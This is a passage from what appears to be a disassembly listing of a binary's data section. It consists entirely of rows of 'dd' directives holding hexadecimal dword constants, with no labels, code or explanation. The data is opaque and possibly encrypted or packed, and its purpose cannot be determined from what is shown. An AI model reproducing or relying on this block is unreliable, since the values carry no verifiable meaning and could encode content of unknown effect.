		dd 0C231674Bh, 573557B2h, 9D134ED8h, 90EC7424h,	80C4FE88h
		dd 8826B9EEh, 780942E3h, 9224717Bh, 0C19A0ED8h,	0A88BAFB6h
		dd 44CEA812h, 0AC0FD820h, 4C98C0EFh, 4BE96DCFh,	0FEDD859Ch
		dd 1B545990h, 25327D29h, 90F28EAFh, 562E117Bh, 73851952h
		dd 0D4BF01E2h, 49081F0Dh, 0E95CE4F0h, 3EEE81C0h, 54AD2D5Bh
		dd 8A0EA7Ch, 75A430BFh,	125F95A0h, 6A70FF88h, 7968A9Dh
		dd 8A7D0600h, 13992D58h, 0C1321648h, 2AAB5B5Ch,	1D2E28CAh
		dd 847EA578h, 6E01240Bh, 9A1C245Dh, 9964A7E8h, 4D903330h
		dd 280BC1EEh, 815C3F36h, 89E65908h, 0BB85BF4h, 60F2390Eh
		dd 0C100D0E4h, 333508E0h, 351971CCh, 0B95D1BE9h, 0DA688240h
		dd 0EC67D777h, 4C5EE1Bh, 2D0C756Ah, 0BCD58512h,	1BDE5B5Ch
		dd 0AFBCE90Bh, 936406F1h, 820EFD13h, 554CF268h,	9501504Ch
		dd 0E9181A1Bh, 176CB810h, 20A1BAE0h, 401C652Eh,	0CB106704h
		dd 4AA7C3AFh, 568A1205h, 4EEF768Ch, 94DC44D3h, 700EB019h
		dd 29C40B57h, 5E0810D6h, 0E9096CACh, 0A689511h,	80808874h
		dd 0FF22B8F1h, 4184FE30h, 51B46B41h, 63CEF8FEh,	5DBF14A6h
		dd 0E8A045B1h, 639BB640h, 8D37D90Ah, 0B84F2150h, 795D20C4h
		dd 0CA0D2BAh, 0D43F36B5h, 67CD9331h, 0E285A1F2h, 0C055AC8Dh
		dd 137EEC3h, 0F3EC6Ah, 3D095B93h, 3012B951h, 0A41F9824h
		dd 4464D02h, 8648FD38h,	731862E1h, 441E2A40h, 0E7E22721h
		dd 4ABEEF76h, 0F70170BDh, 716895DDh, 0DE81960Fh, 0DDD92E52h
		dd 120E8A6Fh, 9529A157h, 668BD7Ah, 40478F58h, 1D9F01A8h
		dd 66E9288Eh, 0E38852B7h, 0C432C341h, 5714248h,	207B4013h
		dd 9605CFADh, 0C023F258h, 0BECED50Dh, 5961E926h, 0D3F84D97h
		dd 21FBFD2h, 7E6F3DCBh,	0F97C7063h, 0BF5469AEh,	0E75F8C11h
		dd 0BE93A4F7h, 174D132Ah, 90B89117h, 0D92608B9h, 78AC7F4Bh
		dd 4619677h, 0B0F5E955h, 0DBBF5B5Ch, 0A2DD2D2Fh, 17035DAh
		dd 0CE15B72Dh, 0BB02135Ch, 0C05D6179h, 0A9B470A7h, 7A30EF80h
		dd 80DE417Bh, 6B783226h, 9E38170h, 371E1545h, 72F387Ah
		dd 88C9D92Eh, 68AA3C0Ah, 487A3631h, 0D589335Ah,	791A5945h
		dd 335E3241h, 40B7880h,	827A050Ch, 7B1D1312h, 57B700EFh
		dd 525E701Ch, 0BE53FCC4h, 0BDD021BBh, 46DF6B19h, 0C56CE24Ah
		dd 4A4D1E51h, 0B5F07166h, 4C96BAC2h, 184C4E3h, 9CC147DCh
		dd 0DA440D73h, 56526925h, 0CD1EC82Eh, 0DBA8FE9Dh, 0A0878E4Bh
		dd 2B022D41h, 391D6320h, 581A85Ch, 0FCB11A8Dh, 97F47B09h
		dd 2F111254h, 253AF82Bh, 8063C0E1h, 287826F6h, 6FC5084Dh
		dd 0E255DC2Dh, 717F7EE5h, 0C513A42Ch, 29B44D28h, 0B7402B6Ah
		dd 0E64E03C3h, 0F1EBF864h, 0C088CCAh, 31720420h, 0D179E906h
		dd 6D3968DCh, 4E6310B7h, 0F1054800h, 89ADE10Bh,	1718DBBFh
		dd 0C7F18229h, 5135E07Dh, 117D95DAh, 0ED6CBB7Ch, 0A044348h
		dd 0B30EF068h, 67FE174Fh, 0B1AE48Ah, 0E05FCD28h, 9EBF2B55h
		dd 0D47C28Fh, 257AC55Dh, 5D1222C6h, 34AB6968h, 0CACD03A3h
		dd 6410F361h, 0BD4B3ED8h, 5001D212h, 4F2B4CCDh,	0C6CF6070h
		dd 0B3F752C0h, 6886E22Dh, 25C670FBh, 3254880Fh,	0E913BA20h
		dd 7E982B0h, 5185BF10h,	3146EDFEh, 3C48ED80h, 66194B80h
		dd 0C87E6E10h, 0F309EF72h, 0B4E544Dh, 0E7420379h, 8CF3E703h
		dd 55F4CA34h, 9DCEDFA2h, 167B1BDFh, 0E3FD57A1h,	611168Eh
		dd 58C96FBDh, 6BDC1882h
		dd 54E46954h, 82F5BDA8h, 4C4A5369h, 7EF27750h, 286AC460h
		dd 385066C6h, 0C6790B0h, 0FCDE1B58h, 2AAE0052h,	0A039FF60h
		dd 2F6912D8h, 0D1541CD0h, 0AE9A228Ah, 32FF54Bh,	0CD543AA4h
		dd 0D3D86FC0h, 7BE29DC5h, 0EEDF8209h, 12534A3Fh, 8DE3BFB0h
		dd 801D7C7h, 3BC80FF8h,	6AEB41E9h, 54A7D6F3h, 5DC740FCh
		dd 58010815h, 42B2BF57h, 0C5614133h, 0BA067328h, 0EE51290Eh
		dd 3B48C92Fh, 6F21D93Bh, 74B264ADh, 9D313C8h, 0FD287E28h
		dd 995892Eh, 0C8BF0F60h, 51443168h, 3FAA3B49h, 86C644CCh
		dd 7DF6813Eh, 252C3E3Ah, 0FC477DF0h, 7FED3589h,	0AF64A112h
		dd 97C6F8h, 5933BBE7h, 0FF9532h, 35047716h, 0B4024EE9h
		dd 0A8EE5754h, 132D8B4Dh, 0A8C55BBh, 64725EFAh,	68D12C6Fh
		dd 91220532h, 6654C953h, 0C52C48Eh, 585D4EA9h, 1AA16DA9h
		dd 8C5AEDF2h, 147B4625h, 0BC5E5AF0h, 7302CF22h,	928B5D16h
		dd 0ADF1312Eh, 200C9CF5h, 68056C71h, 17C5720Ch,	0A27F38E5h
		dd 61EA92D5h, 3F5FFDFBh, 0B800269Eh, 5EEF4D95h,	0A190C609h
		dd 5DC4E925h, 0AA442FE2h, 0D39D96F0h, 59C18401h, 0C38BC472h
		dd 0DEA8E846h, 0DB5EE96Eh, 795B7683h, 0F0834DFFh, 282DE44Eh
		dd 0B04FA592h, 0E6D0C607h, 0D56C0F72h, 2497B491h, 0F107814Ch
		dd 0E334007h, 494EE160h, 0A8064EF5h, 0BFC80990h, 95277FCAh
		dd 0BD0EA2FDh, 0BDD1E469h, 0F9500FA4h, 4F39A67Fh, 0E53AEDBBh
		dd 6E2281DFh, 5E65EB74h, 0E9A0A568h, 0FF95A23Fh, 5457A91Ah
		dd 0B086436Dh, 60585425h, 3EB7F106h, 0A49C8044h, 32542F39h
		dd 7C890952h, 3A06D8BDh, 55F3A7C0h, 17EA41F9h, 0A15BDE31h
		dd 149209Bh, 82D9E927h,	5DD4881Fh, 40B73B98h, 5C4373B6h
		dd 4F191831h, 21BA306Bh, 7FC53C0Ch, 0AA34464Ah,	0DF0B42F5h
		dd 0BC05D7A9h, 0BB8CFECAh, 2E432568h, 0C562E9D4h, 0FD868B55h
		dd 59AA2617h, 0DA715E97h, 0F1E2D45Dh, 974E2051h, 55F692B7h
		dd 0E9D04D7Ch, 2486B269h, 8A4C83Bh, 2D026ACDh, 7524F26Eh
		dd 5E731FC0h, 294D160Fh, 8A81CC3h, 0DE91E917h, 6EF4DA24h
		dd 47C9975Ah, 3368DEA3h, 7F3D5334h, 0A8497C76h,	77F025D5h
		dd 5CB00998h, 546C4327h, 0E7810065h, 64496817h,	600B5074h
		dd 80301951h, 2671C7D8h, 0EE5F4AC6h, 81FD884h, 5D0178EFh
		dd 0FC9C45Bh, 535D2E60h, 11B4BB4Eh, 0B2DE5F29h,	9F4D026h
		dd 5030373Ch, 3B44B92h,	80C1FE88h, 0B4AB8795h, 5AA492F3h
		dd 205BE47Fh, 0F9BDB1B5h, 0A0DD8D1Ch, 0E2A02B59h, 27487B73h
		dd 0AA189EC3h, 61250ACBh, 0C566D745h, 5D2ECA9Dh, 1B4BC040h
		dd 0BB695E02h, 77D6597Ah, 7E1D5087h, 0D31C0216h, 15528668h
		dd 0A077AF2Fh, 0FE3E5819h, 0DFB8C550h, 5B4BB2B5h, 0E829C14Bh
		dd 322D483h, 0F80164A4h, 34F15351h, 0E7BD3EA6h,	0ACB26216h
		dd 0A7CB9FA9h, 0B0125127h, 5D59D768h, 0BF0F2DB8h, 0F66E377Ch
		dd 2DF81FC1h, 97AC0A44h, 0E0B9AD93h, 0C4381468h, 886525D7h
		dd 5A6AE4FFh, 0D1024A22h, 574D82BDh, 680C78E3h,	2D839CE9h
		dd 3E2C25F6h, 0E67F6878h, 657C6B71h, 0C79EE06h,	50C2D4Eh
		dd 29ED6F1Eh, 0AEFB04F7h, 3DAAB9ABh, 865BA80Ah,	0F1AD1C2Fh
		dd 213EC2E9h, 2AF66801h, 1C4DE2Ch, 0F8AA3415h, 0D25A8C53h
		dd 3EF9958Dh, 0E0573C92h, 5C0BC8AAh, 65A741B5h,	3EF3C2Fh
		dd 19F36A4Fh, 0F8419525h, 2B0305Fh, 62375697h, 56E63914h
		dd 59D6F72Dh, 6D3462A2h, 6EA85C05h, 65B5E8A3h, 952A82D2h
		dd 0FD5E9B5Ah, 0B9DF89A8h, 2D00C34Fh, 0BC95EE7h, 782ADF0h
		dd 56D41580h, 2FB1E9Ah,	70BC8052h, 46F9314h, 694C3F25h
		dd 847EEC4Bh, 6C0CF01h,	48D64362h, 9824457Ah, 48996F3h
		dd 0EAFE3108h, 0E7489EE2h, 47441A2Fh, 10ECA983h, 7079278Ah
		dd 0B66DBDBAh, 72ABE904h, 89384E6h, 0D7258686h,	0D7A7EDE7h
		dd 6F0B9C29h, 0CAA785F6h, 0CE527F07h, 0DFC45527h, 0FDD99733h
		dd 7EDE659Ch, 0A4985EF3h, 0C9C079D3h, 0B35074F5h, 254E9873h
		dd 6A6429E1h, 2F8EF6B7h, 0EAA8160h, 0BBEC125Fh,	0F06E9F02h
		dd 0D0F40103h, 2BD2FE39h, 282E24ECh, 0AF34132Eh, 6081E50h
		dd 8541E959h, 69D69F7Ch, 0BCC6E812h, 0B8702A98h, 3E73FBEh
		dd 1F199410h, 0E3CDFA09h, 0F081B77Eh, 47941680h, 4DE215Eh
		dd 0A3B6E807h, 803A4A4Eh, 0F55BE1Eh, 1F26D48h, 92F0AFC6h
		dd 93B29B8h, 70AC3FA1h,	94448B8Ah, 88044FEEh, 0E376BE01h
		dd 7A9225h, 20D0054Fh, 0E93A094Fh, 55F18290h, 0CE967728h
		dd 78970500h, 0B2D54EEh, 1A576B9Dh, 720BF5Ch, 1208B082h
		dd 0AD5FBFDCh, 4DD55EF1h, 0E9E11EACh, 72F5C6AAh, 93FB3D13h
		dd 15841B18h, 70B546D6h, 57F93B11h, 7A073127h, 810231C1h
		dd 771520CAh, 23F87176h, 45AE5E16h, 58F00813h, 0EF681342h
		dd 4BCB343h, 4BA50205h,	386116FCh, 40D31CB3h, 25F4CAFEh
		dd 0E941D40Bh, 973B78ADh, 7B0EDBF2h, 0DF4ECA74h, 658F5C80h
		dd 0EECB89BDh, 31A14A5Fh, 34D4D7E6h, 1F4FC314h,	510092A8h
		dd 0B753B0B1h, 0D70EF620h, 5C80CFFEh, 0EF530EF7h, 75F982F8h
		dd 0DC9FB94Ch, 0E95786CFh, 5F1793A0h, 7FF35B68h, 45F9207Eh
		dd 63F33CFAh, 0A94A7DBCh, 9F718E4h, 725047BEh, 5BD4ED00h
		dd 215CAB7Fh, 41E66528h, 721C287h, 0A3402C9Ah, 9497993h
		dd 10E94270h, 0F1802DAFh, 0B76D3DFFh, 0F34BD2F6h, 47E7CDBBh
		dd 2F2B5D7Ch, 0CC53ECC1h, 6923BA2Eh, 0F8681D49h, 0E9094321h
		dd 18016E65h, 10B8EABFh, 0AC2A510Fh, 4FADACCAh,	0B7519128h
		dd 0DB25013Eh, 3817EBC0h, 0C33A7F2Dh, 0BC5F35D9h, 0FE65B1ACh
		dd 7F2AFD63h, 0EFBE0496h, 0ED69744Fh, 0F6E81AFh, 0B12E5DF1h
		dd 1E3560AAh, 0F717A99Fh, 712F4DB0h, 83275C0Fh,	814DC0C5h
		dd 2D49A1CDh, 3DD3AA4h,	0E858CC2Ah, 0A9B4B0E9h,	0C1E4EFD1h
		dd 89F5250Bh, 0E9DA0060h, 94472F2Fh, 389B327Ah,	59572E7Dh
		dd 9FC88EF7h, 0A9CAFE13h, 8A22517Eh, 0AE365DC1h, 0F9E62F7Ch
		dd 0C0A632D5h, 0C0818607h, 0EAEC99Dh, 4FF6739Dh, 0AC469260h
		dd 5BBD6866h, 51BDD248h, 3E414BE1h, 0A3163FA6h,	2162AE50h
		dd 31BCA49Ah, 0D2F467EFh, 1A775CCAh, 2D5440ECh,	3159047Dh
		dd 0D476E978h, 3E0B81D7h, 77518861h, 0AE5C13F0h, 5867A500h
		dd 8BC32923h, 0B145115Ah, 18B3B93Ch, 4CC1ED10h,	4B35F1Dh
		dd 54D76882h, 2590C57Fh, 7675CF48h, 18E75A81h, 3BB76A55h
		dd 0FA86157Eh, 2CBF6F66h, 4C52ABA0h, 313E5860h,	8032A7E8h
		dd 274FBB7Eh, 0BC734AB8h, 0A3354F0Eh, 63A3FF04h, 2741EB35h
		dd 0B303477h, 0D5F7303h, 0A0903B05h, 90495E3h, 55D7875h
		dd 0AEBC154Dh, 0EE2AD7DFh, 1792328Ch, 0FE111870h, 0DF50C80Ah
		dd 553BFC10h, 0AD3FC324h, 0E5DDBC42h, 2DE880BDh, 6BF76AA5h
		dd 0C6B1E913h, 0F66BB3E5h, 0DCEA2DA3h, 0AEE98545h, 17B1A298h
		dd 2B213166h, 41A063ECh, 358B9FD6h, 277F665Fh, 0CD689AB9h
		dd 0BE818DD7h, 0A2B54854h, 846A0541h, 0D2C57F81h, 2FE74D3Eh
		dd 78159C04h, 2DC055F8h, 1942549Fh, 838F78BDh, 95BEAC07h
		dd 5E1C385Dh, 39FE555Fh, 12BB639Ch, 0E6A3546Fh,	5B1AF10h
		dd 8D7AF7B9h, 0C261C2FAh, 7FEDC548h, 0F8B5818h,	1D2FE2B6h
		dd 0A42959F0h, 271E17CDh, 0B3792548h, 60C300F1h, 0F92D45E8h
		dd 0D0E1906Eh, 5F2D07CBh, 0BB5339Eh, 83E17D41h,	6AE33A6Fh
		dd 0A8374A7Eh, 717BC190h, 2AF41F50h, 8CFCB7CDh,	7DD88273h
		dd 0E914CDD1h, 6CA65EFDh
		dd 6D63691Ch, 0C90DE3DEh, 0C93EA2Eh, 7CA809A4h,	0FAD123FFh
		dd 0FA684A89h, 7B4E388Ch, 0E73FF964h, 61EF4A5Bh, 2835E9CDh
		dd 5EF4F3Ah, 0AE62BB87h, 0F94F25B2h, 4FEC5F1Bh,	0C04F68ACh
		dd 0B58596F4h, 6577EF62h, 0F7273FD7h, 5957E142h, 6E7BE9ADh
		dd 1D6CC788h, 0A9518B58h, 0A7BD88F3h, 8867E0BEh, 4C29B8EFh
		dd 0C25BE001h, 15818ABDh, 20D9F602h, 0E7C9C632h, 0BAEA02CBh
		dd 0B098949Ah, 81B1805Bh, 6F5D8177h, 0A4E59BE1h, 0B0C6016Fh
		dd 0B9C32802h, 5ACFCCF4h, 98FE0C85h, 1F4F4114h,	185C8530h
		dd 0C1470B91h, 4B0402E1h, 1464E435h, 4249AC05h,	10E2F731h
		dd 8705AF96h, 0CDF62ACEh, 58138A10h, 5C812004h,	0A448205Ah
		dd 6863389Ah, 14DFFDC2h, 9DA8F822h, 68E21BF4h, 6B09FF7Bh
		dd 8B59B9DCh, 0F59F5EAh, 3EB80E1h, 0C051EE60h, 0E384EFDBh
		dd 0F8ED05DBh, 0F40466B3h, 1E12E90Bh, 0FE53AC04h, 0E06F2C6Dh
		dd 614FE9FEh, 805A5600h, 27288DF7h, 4BFE5BF8h, 77506609h
		dd 2C58AAE0h, 52DE9F6h,	0B1ECEEB3h, 0C20909A1h,	97F148Bh
		dd 7D6ABA9Dh, 658B90E5h, 0BD5BD329h, 0DB09CCA7h, 0E8C38356h
		dd 0CBB93B34h, 24707D96h, 0B7EDBBB1h, 5CC043Eh,	0B652660Fh
		dd 0BBF02884h, 0B08DFF06h, 4990B030h, 0BF5E4DC7h, 834E030h
		dd 397C5CF8h, 0ABA75812h, 1D257EE3h, 38B75620h,	0D8BD1231h
		dd 0B85002C7h, 330B3E16h, 256B1D61h, 0EE0E4116h, 0C1CC7B88h
		dd 0B5A465E7h, 41F7C1E8h, 0CFC4722Bh, 5390B76Ch, 5AEE7BDFh
		dd 0E5BFEC34h, 1FF8BA08h, 8A60B3B3h, 4BE0185Ah,	0F1F006Fh
		dd 0C7C281F9h, 4417865Fh, 38FAF201h, 3A006B95h,	0ACBB2EF8h
		dd 5F6A7E65h, 19AE931h,	3D281226h, 4EA0DA29h, 0E95B3D08h
		dd 0BB40DD59h, 0A0D9722Ch, 0DD922EBCh, 7196BB61h, 0CE24BF32h
		dd 0D348A6BEh, 0ABB549E8h, 5A8C27A2h, 0FD5C5E3Fh, 0ABBA84C3h
		dd 2B33F117h, 25CB6801h, 59D9277Fh, 3199E124h, 0F29AE5B2h
		dd 32312BC8h, 0AC00158Ch, 4A98D830h, 9D5F6E40h,	3DC7B7DCh
		dd 57B0191Bh, 773877E5h, 0C7F15E25h, 5BA7E958h,	3FE08941h
		dd 527289Fh, 8EB16B00h,	127AC180h, 9E66EF24h, 0C513E7A6h
		dd 0B3531A80h, 59FCBD63h, 0EF93779Dh, 0D6CEF809h, 0EF13C5BEh
		dd 0B2FECD84h, 8C03C436h, 993EF216h, 8D3AE06Ch,	0CD9D6532h
		dd 1BF22A18h, 6F1F7C48h, 0CB6E5E75h, 0A16462A2h, 0BB875926h
		dd 498A360Ah, 0A685080h, 907FBB48h, 0B3F35AF0h,	4F0607C2h
		dd 0C8802201h, 28DBA59h, 0E96B862Ch, 0F5F6760Dh, 4979F173h
		dd 0CC09306Ah, 55E5323h, 2DE7A14h, 8DA2892h, 7C19E248h
		dd 6C5525DCh, 8E022691h, 35588E0h, 7EE5066Fh, 0EBE04F6Bh
		dd 0F56FF21Fh, 70957196h, 3EAC009Bh, 0E781614Ch, 92482979h
		dd 4BF24CDDh, 0B8A4E4ECh, 7274A4D2h, 9C12D7F6h,	0D9BDB46Bh
		dd 6DC0B00h, 7A15CD81h,	0F746121Bh, 0CE2D01DDh,	3A62CA0Ah
		dd 3C2991C1h, 758E07Ah,	0A80C09B9h, 3B50C89h, 0A5E58052h
		dd 0A35C5FEh, 0A8B806B2h, 5E38E90Ch, 7100B828h,	0BA53F451h
		dd 0FC92EB6Eh, 80C24B01h, 31443923h, 23185D5Bh,	4CE5E907h
		dd 0D1D7F42Fh, 5909680h, 8FE5BEBh, 0C2F02FDAh, 0B7EBD124h
		dd 0CEFE6916h, 582605E8h, 2FA501Ch, 352C42EDh, 0F33B41DDh
		dd 7EE452EAh, 7E418280h, 7B55CC36h, 25CCBE00h, 1AE98722h
		dd 0BA62C08Fh, 49FC535Dh, 2AE5D0B7h, 16CE4E13h,	0F129B8C3h
		dd 6461D865h, 0F53DE227h, 72F55110h, 5DB82086h,	0A6EEBC98h
		dd 0C4898E48h, 3B89E830h, 6C7BD17Fh, 0E0F14D3Ch, 7BC03890h
		dd 0FB2F06EEh, 0D629280Dh, 50C60FB0h, 2D67E9Ch,	1BA566E1h
		dd 0E90502D6h, 9DE48B8Eh, 0B5464052h, 0F5B447Dh, 0CA02E012h
		dd 574BFE68h, 864E97ECh, 65973461h, 0B9B14703h,	73AD261Bh
		dd 20483B2Ch, 770B3E1Ah, 307650C2h, 0D6D28BFAh,	5BDA89FFh
		dd 0EDBF605Dh, 0DD43031Dh, 734AE971h, 0BC560487h, 0B122E46Dh
		dd 30B92007h, 809F511Dh, 1F488212h, 0F820E349h,	867E0080h
		dd 2CA42D22h, 0F71E105Ch, 0AA0040D0h, 57C8D49h,	21571616h
		dd 34A7F04Ch, 3DE29B4Fh, 0FBBC3078h, 26CE6866h,	740982ACh
		dd 6831614Bh, 0F87B485Dh, 0C26CF008h, 63DA52B7h, 4CFB0881h
		dd 0BD2B3092h, 0D320F306h, 281C0148h, 1F235D08h, 0E5F40576h
		dd 8229EC57h, 2108080Ch, 2F263834h, 203F8510h, 981E924Fh
		dd 0CC1D2062h, 81204676h, 3A71BF97h, 686CF76Bh,	4D616842h
		dd 3C4DDBE9h, 1261D56Eh, 0F9F81B3Dh, 96C62897h,	7C5A687Eh
		dd 73927C30h, 96F1264h,	80E5B2E8h, 8B4BB53h, 202898E2h
		dd 68158FAAh, 4D23653Ah, 16B958DEh, 0DC32A6FBh,	20027A30h
		dd 544A5BEAh, 0AB5295EBh, 91506944h, 9402E4CDh,	0D90B75D8h
		dd 9D04EF5h, 2D03E0C1h,	0F01C33D1h, 0C2A2D68h, 0C1583F7Ch
		dd 0A7614F2Dh, 0BE005F51h, 9E01073Ah, 7C1DB956h, 0ACFC2EAAh
		dd 2EDCBFA3h, 3FCA615Ah, 0B2398C3Ah, 0AE2CE031h, 0FFC2A8ABh
		dd 0FCE756CCh, 2148B368h, 9A09DEF9h, 13AB6617h,	0C21D5E2Bh
		dd 10359CAh, 185417F8h,	829D619Fh, 0B100059Eh, 70F4622Bh
		dd 40299040h, 8A0B686Ah, 8645CD67h, 2514BA5Ch, 9855FD08h
		dd 99DDF672h, 86B460E9h, 0F894F9E9h, 0B714727h,	0C0A495E9h
		dd 0B22BAE5Dh, 55C0D65h, 0BD0F681Fh, 13AC3CECh,	99F7F447h
		dd 2AEB277Eh, 33FF651h,	0A723B2CFh, 0BE0C1D2Dh,	325530Dh
		dd 0AFEFFBC2h, 0F2ED82E5h, 43A88659h, 0E09914Eh, 708584B0h
		dd 77EC8D85h, 8C054800h, 1D31EC4h, 256AC74Ch, 0BB66F565h
		dd 2D4EE7F4h, 3CC80AA2h, 0BDEBA08h, 0F90691BFh,	0FE06920Fh
		dd 47250804h, 30360F0Eh, 0D7EF48EAh, 664EEFE0h,	3105741Bh
		dd 40B4E9FAh, 45A8F752h, 1510B105h, 370CC105h, 826A2C83h
		dd 750B7F68h, 35540C18h, 0A3467C2Dh, 57FC55Bh, 4A33BB30h
		dd 53BC59h, 21FC4270h, 9002E8C1h, 0DA709E3h, 0EADC164Bh
		dd 1DFFC327h, 9634D77Ch, 0F150BF53h, 431C6108h,	44CACA1Eh
		dd 0DD882943h, 685A43DBh, 724EAFECh, 0F8DBF835h, 62504E5Fh
		dd 0BC7158C1h, 7D76841h, 0BEC68D7Ch, 97046661h,	5469262Dh
		dd 1FB3C081h, 20E3D001h, 0F3E6CE23h, 749F30E6h,	0C8DA535Ah
		dd 38C41C75h, 0BE4B0564h, 0A6179FCBh, 0EF7B299Ch, 0A77DADBAh
		dd 822BFD7Dh, 0E5756F53h, 88E7A590h, 4BBB5388h,	569757F8h
		dd 9DA450FBh, 1C37ECB7h, 0AFD4623Eh, 0E984D656h, 41E2065Fh
		dd 0C2029505h, 8191B0ECh, 12A2EB03h, 8AE93BE8h,	0BBCDF5F6h
		dd 296D60B0h, 311E2ED3h, 84E9090Dh, 5A5E27A1h, 2A63E149h
		dd 0E1C09452h, 4C8B26C3h, 0F830F40Dh, 1AA4F55Fh, 2A758A2Eh
		dd 0F972F702h, 0F8C07DD9h, 0DCB79E4Fh, 0AEE3C9EDh, 0C278F7F1h
		dd 0E9795655h, 98BE304h, 2E5BEC5Eh, 4964E074h, 0DD0F465Dh
		dd 0D47400CCh, 0D143E910h, 7B718A9Ah, 22803DC5h, 0AF1375FBh
		dd 41703F98h, 6416008h,	5FAA0097h, 71C2E381h, 43293E37h
		dd 0E9403BA5h, 1A03BEBDh, 0EDC16123h, 6063302h,	69252FD6h
		dd 167952EBh, 0FFD8315Eh, 27682B3Ch, 89D342C0h,	2EFE5512h
		dd 0E94C611Fh, 0B352BC6Ah, 4C7077C3h, 0C4B8FF6h, 39BF7238h
		dd 3A81302Bh, 1A197ABEh, 6DF06B26h, 0A9D65AF7h,	48CE02AFh
		dd 5F444F2Eh, 3D2A2400h, 0B025E9D0h, 7DC4D7D5h,	13CB6812h
		dd 0C1818064h, 976237ACh, 0F7D02E51h, 1681EED2h, 15485F2h
		dd 9DE90296h, 5F2D2F94h, 0AC10326Dh, 0BA0B7352h, 0C0B44166h
		dd 2431CD2Fh, 3E32C2Bh
		dd 1E1339BEh, 7D690C04h, 85F0E226h, 3C872D5Eh, 0F1E9D1B1h
		dd 53C39DE3h, 5C8308D8h, 0A6347268h, 0A8FA95C5h, 0BEA3E2Eh
		dd 6D680240h, 2F1A9210h, 0C4457101h, 80CDE82Fh,	0F6E718CEh
		dd 0C0F00AD6h, 0F902EE3Dh, 0F588A40Fh, 0E3EF835Ah, 52669828h
		dd 0F43FEDB2h, 0E54BE9DAh, 54B36001h, 5BECDE88h, 1EF76130h
		dd 9048E780h, 0E9168332h, 45F2B699h, 10DC22C5h,	844E68F3h
		dd 0A0B18477h, 550BB853h, 805F4C27h, 0C40506ACh, 2CF6042Ah
		dd 0FE58C329h, 2218729Ah, 56FDEF8Eh, 75C56881h,	93023326h
		dd 29923DE1h, 492471F7h, 59ABD2E9h, 0EEF940BAh,	314F987Fh
		dd 0BBBB53FAh, 66BDDF60h, 15AE3F6Ch, 0E9974461h, 0C123BC1h
		dd 0B31B2CAEh, 0A7EA11BAh, 0B86DADD8h, 8E401F0Ch, 93984946h
		dd 9FFDDC10h, 7C842025h, 0ACD3897Dh, 883995E4h,	0F9094FC5h
		dd 0F2AD620Ah, 0C076F2BBh, 4B2D0563h, 0B8B0650Eh, 840744EDh
		dd 4EFCACB2h, 0B3D1C0A6h, 31D4F2Eh, 1848714Bh, 90AE7B0h
		dd 876A7C24h, 2D50C002h, 89754896h, 0B87398FEh,	7A76BCCBh
		dd 104C6657h, 1C57B685h, 0CE2D0168h, 2AFEBDFEh,	1639FB4Bh
		dd 593EC20Ch, 49A1F9FDh, 38B6DA55h, 0EA4B2C75h,	0E913A68Ah
		dd 0B8CD52D2h, 0ACDA3C8Ah, 8F8CBEF0h, 0E66F2E47h, 8D3718A7h
		dd 68589328h, 433DC932h, 3456548Ch, 423180FCh, 0F602E281h
		dd 0E90EF003h, 0B418E8DCh, 0BA7CBFAEh, 3005BC14h, 0E99A06C5h
		dd 0ADF49B9h, 86689D81h, 0A6B97F8Eh, 5A101348h,	32FA5F5Bh
		dd 0BD680711h, 9009BF57h, 0DD04FC01h, 1CD52A12h, 0D1B09D06h
		dd 598162BEh, 53020B7Ch, 0CBFEC6B3h, 0EF856FE2h, 93769DD8h
		dd 5EB2C12h, 0AA89CA8Dh, 0AB5AF7E3h, 652BFA61h,	66506602h
		dd 55EDC398h, 0F90DAFD6h, 8C2C15BDh, 0CB20FF76h, 38A1FD12h
		dd 3BA069DEh, 0E2B594B3h, 2E1AE91Ah, 1996DD1Bh,	54A8C495h
		dd 9D01DD92h, 4C9AAF4h,	0CE8D977h, 7914B05Bh, 5D950B82h
		dd 0B356A029h, 5AC58416h, 2ED7F1AEh, 0BC4AFC9Eh, 0A17B1601h
		dd 2B2239EBh, 2558AF0h,	0EBA6851h, 0EB40407Bh, 64BF7A3Dh
		dd 905EB7A6h, 0B46759C6h, 74158DCh, 319A679Fh, 28D0F723h
		dd 6855A08Ah, 8B565B32h, 0F945132Dh, 6097CDEFh,	0EA985110h
		dd 87A3704Ah, 4DB05082h, 0EE80EF40h, 40E9900Dh,	24312CE6h
		dd 0EDE4F4C9h, 0E059D783h, 54401A1Bh, 1EE75F28h, 194F2CEEh
		dd 4887D67Ah, 73256842h, 294A981Bh, 5C5FAA30h, 325AC912h
		dd 648B2C0Bh, 3BB2DF01h, 0E85B0C05h, 0D00BB22Dh, 1E57950Dh
		dd 166D0F13h, 0E9C663C6h, 0CA970D69h, 57D45D9Ch, 5F8EE950h
		dd 6327BF93h, 201B8006h, 36B2D279h, 0F6F4F05h, 2FAD329h
		dd 7612288Ah, 9E02A658h, 21491D58h, 4EB0D7DFh, 5FD28E61h
		dd 0CD8C5E0h, 50088126h, 3E1F3B44h, 0F8D643E8h,	37B892Dh
		dd 8027E9FEh, 0BDF24450h, 0CB3B8E0Fh, 0D5D88ED4h, 5ECA497Eh
		dd 2BA9DCB8h, 0F9E523F9h, 3987848Fh, 5311491Dh,	933E8671h
		dd 0DAEF5ABAh, 47BE5BD9h, 9474EB4h, 7D1BEC7Dh, 8BCB695Eh
		dd 0EBEFC27Ah, 8FC544Fh, 39A9BEA4h, 952CA84h, 25CB2F5Ch
		dd 0C5E482EFh, 0A76414DDh, 0E800B24Ah, 0E96CA92Eh, 22C0C746h
		dd 0D8F60104h, 88DC2A34h, 6C6B20B2h, 0AAA05B5Ah, 0CD507653h
		dd 3B596E1Ah, 0A09A8E44h, 0E1E0EA8Dh, 72DCBE8Eh, 910FD1D7h
		dd 6680271h, 802A0207h,	5C1BE1CCh, 0C9DAA0E0h, 15728D2h
		dd 9412208Dh, 0BD17D49Fh, 0A4EF0626h, 8DD116C8h, 8051F9ACh
		dd 71F38111h, 0B84C9C1Eh, 0A5C15ACBh, 3F0438C4h, 1B571FEFh
		dd 0DEC27096h, 59795F5Ch, 16E95241h, 0F03EBC35h, 9E40DA7Dh
		dd 40C103BDh, 0EB093299h, 0CBF48C19h, 0BA935E1Ah, 0AA0F560Dh
		dd 0E24B3C9Ah, 8AE982B3h, 4B377602h, 5D8A25FDh,	308F29BAh
		dd 84B75BA4h, 0F2FB5214h, 28BBC63Bh, 0FB010111h, 0DBE90B88h
		dd 7355C23Ch, 0C7033B93h, 469BD1D6h, 51AEEDE0h,	294C0809h
		dd 81588FDh, 0F4055F04h, 360F183h, 3FBE56A4h, 0F798ED5Dh
		dd 8D2F68DEh, 648C9811h, 446C0935h, 160CDE9h, 0F14B6BAh
